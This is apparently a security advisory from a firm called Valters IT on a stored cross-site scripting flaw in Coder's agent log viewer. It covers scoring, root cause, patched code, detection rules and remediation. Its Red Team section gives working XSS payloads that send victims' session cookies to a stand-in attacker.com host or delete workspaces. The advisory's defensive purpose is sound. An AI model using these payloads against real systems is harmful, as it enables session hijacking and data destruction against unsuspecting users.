CVE-2026-55437

Executive Summary

CVE-2026-55437 is a stored cross-site scripting (XSS) vulnerability in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the AgentLogLine dashboard component, which renders workspace agent log lines. The component uses the ansi-to-html library without the escapeXML: true option, and inserts the resulting HTML via dangerouslySetInnerHTML. This allows an attacker who can control agent log output to inject arbitrary HTML and JavaScript. Exploitation requires a victim to view the attacker-controlled logs in the Coder dashboard. The vulnerability is rated with a CVSS score of 5.4 (Medium). No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but involves the ansi-to-html JavaScript library. The fix is a configuration change within the Coder application, not a library update. However, organizations should ensure their dependency scanning tools are configured to detect insecure usage of libraries like ansi-to-html.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - The attacker can inject malicious log lines remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs to be able to write to workspace agent logs (e.g., as a workspace user).
• User Interaction (UI): Required (R) - A victim must view the logs in the dashboard.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure possible.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: Medium. The requirement for user interaction and low privileges reduces the immediate risk, but the potential for phishing or social engineering attacks remains.

Deep Dive & Mechanics

The vulnerability is a classic stored cross-site scripting (XSS) flaw. The Coder dashboard includes a component called AgentLogLine that displays log output from workspace agents. This component uses the ansi-to-html library to convert ANSI escape sequences (used for colored terminal output) into HTML.

The critical mistake is that the ansi-to-html library is instantiated without the escapeXML: true option. By default, this library does not escape HTML metacharacters like <, >, &, ", and '. The resulting HTML string is then inserted into the DOM using React's dangerouslySetInnerHTML property, which bypasses React's built-in XSS protection.

An attacker who can control the content of workspace agent logs (e.g., by running a command that outputs malicious HTML) can inject arbitrary JavaScript. For example, a log line containing <img src=x onerror=alert(1)> would be rendered as an image tag with an error handler, executing the JavaScript.

Server-side sanitization was present but failed to neutralize HTML metacharacters, meaning the malicious payload passed through to the client.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: escapeXML is not set
const converter = new AnsiToHtml();
const html = converter.toHtml(logLine);
// Direct insertion into DOM
element.innerHTML = html; // or dangerouslySetInnerHTML in React

Patched Code (Conceptual):

// Patched: escapeXML is set to true
const converter = new AnsiToHtml({ escapeXML: true });
const html = converter.toHtml(logLine);
// Safe insertion (though still using dangerouslySetInnerHTML, the input is now escaped)
element.innerHTML = html;

The fix is minimal: enabling the escapeXML option ensures that any HTML metacharacters in the log line are converted to their corresponding HTML entities (e.g., < becomes <), preventing them from being interpreted as markup.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Coder workspace where you can execute commands that produce log output.
• A victim user who will view the workspace logs in the Coder dashboard.

Exploitation Steps:

1. Craft Payload: Create a malicious log line containing JavaScript. For example:

   echo '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'
   

2. Inject into Logs: Execute the command in the workspace. The output will be captured in the agent logs.
3. Lure Victim: Send a link to the victim that directs them to the workspace logs page in the Coder dashboard.
4. Trigger: When the victim views the logs, the injected HTML is rendered, and the JavaScript executes in their browser context.

Alternative Payloads:

• Steal session cookies: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
• Perform actions on behalf of the victim: <script>fetch('/api/workspaces/delete', {method:'POST'})</script>

Blue Team

Detection:

• Monitor for unusual log entries containing HTML tags or JavaScript code.
• Use web application firewalls (WAF) to inspect log data for XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Prevention:

• Apply the patch immediately by upgrading to Coder versions 2.29.17, 2.32.7, 2.33.8, or 2.34.2.
• If immediate patching is not possible, consider disabling the AgentLogLine component or implementing a reverse proxy that sanitizes log output.

Hunting:

• Search for log entries containing <script, <img, <iframe, or onerror in the Coder database.
• Review access logs for unusual patterns of log viewing.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled domains from the Coder dashboard.
  • HTTP requests containing log lines with HTML tags.
• Host:
  • Workspace agent logs containing HTML or JavaScript code.
  • Unusual JavaScript execution in the browser console.
• Logs:
  • Coder audit logs showing access to workspace logs by users who do not normally view them.
  • Web server logs showing requests to the dashboard with suspicious query parameters.

Detection Engineering

YARA Rule

rule CVE_2026_55437_XSS_Log_Injection {
    meta:
        description = "Detects potential XSS payloads in Coder agent logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-55437"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]+onerror/i
        $xss3 = /<iframe[^>]*>/i
        $xss4 = /onload\s*=/i
        $xss5 = /onclick\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Coder Agent Log XSS Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payloads in Coder agent logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: coder
detection:
    selection:
        log_line|contains:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onerror='
            - 'onload='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of HTML in log messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55437 Coder Agent Log XSS Injection"; flow:to_server,established; content:"/api/workspaces/"; http_uri; content:"log"; http_uri; pcre:"/<script|<img|<iframe|onerror=|onload=|onclick=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Coder to version 2.29.17, 2.32.7, 2.33.8, or 2.34.2 (or later) as soon as possible.

Mitigation (if patching is delayed):

• Implement a reverse proxy or web application firewall (WAF) to inspect and sanitize log output.
• Restrict access to workspace logs to only trusted users.
• Educate users about the risks of viewing logs from untrusted workspaces.
• Enable Content Security Policy (CSP) headers to limit the impact of XSS.

Long-term Prevention:

• Conduct regular security audits of custom components that use dangerouslySetInnerHTML.
• Ensure all libraries are used with secure defaults (e.g., escapeXML: true for ansi-to-html).
• Implement input validation and output encoding for all user-controlled data.

Valters IT
Securing Digital Frontiers